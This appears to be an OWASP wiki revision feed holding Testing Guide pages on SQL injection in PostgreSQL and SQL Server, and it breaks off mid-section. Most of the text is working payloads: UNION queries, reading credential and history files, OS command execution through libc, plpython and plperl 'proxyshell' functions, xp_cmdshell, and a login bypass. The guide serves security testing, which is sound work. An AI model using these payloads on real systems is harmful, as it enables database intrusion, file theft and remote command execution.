&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on a database:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* OWASP : &amp;quot;[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* OWASP : [[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
* Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86720</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86720"/>
				<updated>2010-07-20T13:40:28Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: changed paragraph to section in the first sentence.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this section, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following characteristics:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take into consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
In previous version, you can easily create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
* chr(n): Returns the character whose ASCII value corresponds to the number n&lt;br /&gt;
* ascii(n): Returns the ASCII value which corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieves a row at a time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on a database:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* OWASP : &amp;quot;[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* OWASP : [[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
* Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=86573</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=86573"/>
				<updated>2010-07-16T14:47:40Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: Corrected description of code from Antonin Foller on creating a new xp_cmdshell.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this section some [[SQL Injection]] techniques that utilize specific features of Microsoft SQL Server will be discussed.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]], a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referrer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Characteristics===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query; this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.&lt;br /&gt;
&lt;br /&gt;
The following example uses the environment variable '''@@version ''', combined with a &amp;quot;union select&amp;quot;-style injection, in order to find the version of the SQL Server.&lt;br /&gt;
&amp;lt;pre&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
And here's the same attack, but using again the conversion trick:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener. &lt;br /&gt;
&lt;br /&gt;
In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.&lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
